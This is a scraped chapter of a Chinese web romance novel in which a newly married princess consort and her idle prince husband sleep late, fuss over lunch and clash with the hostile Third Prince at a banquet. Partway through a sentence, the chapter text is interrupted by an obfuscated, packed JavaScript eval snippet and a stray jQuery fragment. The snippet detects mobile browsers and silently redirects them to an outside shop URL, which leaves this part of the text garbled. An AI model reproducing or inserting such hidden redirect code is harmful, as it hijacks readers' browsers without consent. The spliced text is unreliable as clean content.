文趣网 > 其他小说 > 被负心后嫁了京城第一纨绔 > 61. 第六十一章
    程微瑶以为自己白日睡了这么久,夜里定然睡不着,可没想到,她一躺到萧穆屿身边,睡得比谁都快。

    甚至第二天还破开荒地赖了床。

    珊瑚不明所以,还以为自家小姐生病了,急得就要进去看,被玉绾玉绸联手拦下了。

    玉绾:“好姑娘,你且再等会儿。”

    珊瑚瞪大了眼:“我等不了,我们家小姐从来不赖床,定是病了,我得去瞧瞧!”

    玉绸无奈:“又忘了,该改口叫王妃了。”

    珊瑚:“叫什么都行,总之我得进去瞧瞧,若真是病了,我得去叫大夫。”

    她说着就要冲进去,玉绾玉绸差点拦不住她。

    谢娇忍不住笑道:“珊瑚姐姐,你可真傻,王爷和王妃新婚燕尔,夜里自然有做不完的事,白天多睡儿是正常。”

    做不完的事……

    珊瑚猛然反应过来,她沉下脸道:“谁允许你说主子闲话?”

    谢娇怔了怔,敛了笑,伏低做小道:“是妹妹的错,妹妹只是提醒姐姐罢了,并没有别的意思。”

    珊瑚哼了声,知道了缘由,她也不急着冲进去,而是在门口守着,忧心忡忡。

    玉绾低声道:“珊瑚妹妹莫要担心,王妃兴许只是累着了。”

    珊瑚说:“那得多累啊,成婚都这么累吗?”

    她眉头皱得死紧:“我日后绝不成婚。”

    玉绾玉绸对视一眼,俱都笑了出来。

    玉绾笑着道:“姑娘家哪有不成婚的?”

    玉绸也说:“是啊,只是我们身为奴婢,婚事俱由主家说了算,自己做不得主,也不知道日后会配一个什么样的男子。”

    王妃瞧着是个善人,可素日里话不多,谁也不知道她心中如何想,若是日后给她们配个良人,自是一生无忧,可若是不慎配个恶人,她们这辈子……可就毁了。

    珊瑚言之凿凿道:“王妃已经答应我了,我可以不成婚,一辈子留在王妃身边。”

    玉绾玉绸对视一眼,皆惊讶无比。

    这年头竟还有不想嫁人的女子?王妃竟然也应允?

    珊瑚说:“我们王妃只是看上去不好惹,其实性子好极了,你们若是不愿嫁,好好求一求王妃,王妃必定允你们。”

    玉绾玉绸听到这话,放心了。

    她们虽没有终身不嫁的想法,但若是能稍微左右自己的婚事,自然是极好的。

    屋里,程微瑶和萧穆屿还在睡。

    他们这一觉睡到了中午才起,程微瑶是被屋外的日头晒醒的。

    看这日头,这会子恐怕已经午时了,程微瑶一惊,连忙推醒萧穆屿:“殿下,该起了,已经午时了。”

    萧穆屿懒洋洋睁眼:“急什么?”

    程微瑶:“殿下莫不是忘了,今日要去三皇子府上赴宴。”

    萧穆屿仍是一副没睡醒的模样:“本王何时说过一定要去?”

    程微瑶起身的动作慢了下来:“不去?”

    萧穆屿想了想:“赴个晚宴便是了。”

    程微瑶:“……”

    三皇子脾气不好,他真的不会有意见吗?不过程微瑶没有犹豫多久,因为三皇子的意见并不重要,如果他要不高兴,那就让他不高兴去吧。

    程微瑶终究还是起来了,哪怕不是为了赴宴,她今日也起得迟了,她让珊瑚进来伺候她更衣洗漱。

    珊瑚说:“厨房已经准备好午膳,王妃可要用膳?”

    程微瑶还不太习惯这个称呼,尤其是从珊瑚嘴里说出来,她愣了愣,说:“呈上来吧。”

    午膳很快呈了上来,程微瑶原本以为萧穆屿还要继续睡,可午膳摆上桌的那一刻,他也洗漱完毕,坐在了桌旁,动作快得程微瑶没有反应过来。

    萧穆屿说:“今日的红烧狮子头欠点火候,让厨房重做。”

    程微瑶自认尝过顶尖美味,她咬了一口狮子头,并不觉得味道不对。

    但萧穆屿发了话,小厮只能赶紧将菜撤下。

    萧穆屿也放下了筷子,微合眼眸靠在椅子上闭目养神,看样子,是打算等厨房做好了新的红烧狮子头再用膳。

    程微瑶从未见过这般挑食的人。

    萧穆屿漫不经心看眼程微瑶:“别吃了,让人都撤了吧,今日厨子大抵是下厨时走了神,这些菜都不行。”

    旁人伺候着的下人听到这话,立刻上前将所有菜都撤了。

    “慢着。”程微瑶说,“将马蹄糕留下,我暂时填一填肚子。”

    下人犹豫地看眼萧穆屿。

    萧穆屿漫不经心抬头:“没听见王妃的话吗?”

    下人立刻将马蹄糕放了回去。

    程微瑶睡了一早上,确实饿了,她吃了几口马蹄糕,暂时缓解了腹部不适,才看向同样滴水未进的萧穆屿,举起手里的马蹄糕:“厨房重新做菜恐怕还需要费些工夫,要不要先填一填肚子?”

    萧穆屿嫌弃地看眼马蹄糕,程微瑶明白了,嫌弃她的手不干净。

    程微瑶神色也淡了下去,爱吃不吃,她才不伺候。

    她正要将手收回,萧穆屿突然微微向前,就着她的手咬了一口马蹄糕。

    柔软的唇瓣轻触程微瑶的手,程微瑶吓得手一松,马蹄糕差点掉下去,萧穆屿索性将一整块都吃进了嘴里。

    他蹙眉,这马蹄糕的味道果然也一般。

    萧穆屿吃了一块马蹄糕,兴致缺缺地躺回去,再不肯吃下一块了。

    哪怕厨房快马加鞭,重新做一桌子好菜也费了近一个时辰的时间。

    萧穆屿吃东西喜欢细嚼慢咽,一顿饭吃完,早过了晌午。

    中途三皇子府的人来了两次,萧穆屿不说赴晚宴,只说马上出门,将人打发走了以后,继续慢悠悠地吃东西。

    终于,萧穆屿放下了筷子:“好了,我们出门吧。”

    听到这话,程微瑶不由得松了口气,总算是出门了。

    小厮早已备好马车,萧穆屿和程微瑶用完膳就能出门。

    王公贵族们的府邸几乎都在附近这两条街上,彼此距离不算很远,三皇子府离靖王府坐马车不过一刻钟的时间。

    萧穆屿和程微瑶到三皇子府时,萧穆景已经在府中等了一整日,从辰时等到戌时,才总算是等来了夫妻俩。

    萧穆景的贴身小厮低声道:“殿下,靖王殿下和靖王妃来了。”

    “让他们——”‘滚’这个字在萧穆景嘴里转了一圈,终究还是咽了回去,他捏着茶杯,不甘不愿道,“让他们进来。”

    他等了一日,整整一日!从辰时等到戌时,萧穆屿总说快了,快了,他便信了萧穆屿的鬼话,一直等到日薄西山,他都打算去兴师问罪了,人倒是来了!

    萧穆屿和程微瑶相携而来,姿态亲密,仿佛天造地设的一对良人,看得人扎眼。

    萧穆景看向程微瑶,忽然笑了:“嫂嫂也来了。”

    自上次误伤萧穆景之后,程微瑶便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669056|203039||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    再也没有见过他,如今再见到,还是忍不住心头一紧。

    她不知道苏玉权是如何处理那夜的事,但如今看来,萧穆景确实没有算旧账的意思,他对她的敌意,更多是求而不得以及迁怒,但当时她将他伤得这般重,他不该只是这个态度。

    程微瑶心里存疑,面上却不显:“三皇子殿下相邀,我与殿下自然要来赴宴。”

    萧穆景看眼萧穆屿,慢悠悠道:“可惜了,分明是我先看上嫂嫂的,最后却是二皇兄抱得美人归。”

    程微瑶脸色微变,下意识看向萧穆屿。

    萧穆屿不紧不慢道:“技不如人,就要甘拜下风。”他顿了顿,短促地笑了声,“再者,你如今还能娶妻生子?”

    萧穆景脸色大变,程微瑶也脸色大变,那一刀竟伤得这般重?

    萧穆景彻底沉下脸,看向萧穆屿的目光带着不加掩饰的恨意。

    萧穆景确实不记得那夜到底是谁伤了他,可他思来想去,满京城敢伤他的,也就萧穆屿一人,他断子绝孙,定是被萧穆屿所害。

    萧穆景长得人高马大,当眼里带着不假思索的恨意时,更是十分唬人,程微瑶被吓了一跳,下意识看向萧穆屿。

    萧穆屿对萧穆景的恨意视若无睹,他微微偏头看向程微瑶:“是不是觉得无聊了?既然无聊,我们就回去吧。”

    萧穆景怔了怔,他等了他们一整日,这才不到一炷香的时间就要走?他们究竟还有没有把他放在眼里?!

    萧穆屿自然不把萧穆景放在眼里,他今日会来,不过是想看看萧穆景葫芦里到底卖的什么药,如今看来,他们不过是白跑一趟罢了。

    “慢着。”萧穆景直直看向萧穆屿,“二皇兄,我有话想单独对你说。”

    程微瑶自觉道:“臣妾去马车上等殿下。”

    她说罢,行了一礼,先离开了。

    程微瑶一走,萧穆屿表情便淡了下来,萧穆景不怀好意地看向他:“你可知,你的王妃早就不干净了,她早就和裴澜暗通曲款,他们相携归京,在船上相处了半月有余,日日相对——”

    话音未落,萧穆屿一脚踹了过去,将萧穆景踹出一丈远,萧穆景的话也被卡在了喉咙里,未曾说完。

    萧穆景知道萧穆屿纨绔,知道他胆大妄为,可没想到,还在他的皇子府,萧穆屿就敢对他动手。

    下一刻,无数侍卫从暗中出现。

    萧穆景吐了一口血沫:“你难道以为,我会和上次一样毫无防备?”

    想到上次,萧穆景总觉得自己的小手指似乎还在隐隐作痛,他绝不会再给萧穆屿威胁他的机会。

    萧穆屿居高临下地看着他,似乎在嘲笑他的不自量力:“区区几个侍卫,也想拦我?”

    萧穆景笃定他在夸大其词,但萧穆景不敢当真对萧穆屿动手,他对这个皇兄,一直有着说不清道不明的恐惧,越是恐惧,便越是恨他,越是恨他就越了解他,越是了解他便越恐惧他。

    程微瑶还在府外等他,萧穆屿没有过多浪费时间,确认萧穆景不打算对他动手后,他转身便离开了,一句多余的话都不想和萧穆景说。

    萧穆屿态度越是轻蔑,萧穆景便越是气急:“萧穆屿!你不是一向敢作敢当吗?!我身上的伤,究竟是不是你做的?!”

    萧穆屿顿下脚步,微微偏头看他,漫不经心道:“你说让你断子绝孙的伤?”

    “没错,是我做的。”

    萧穆景呼吸顿时变得急促起来。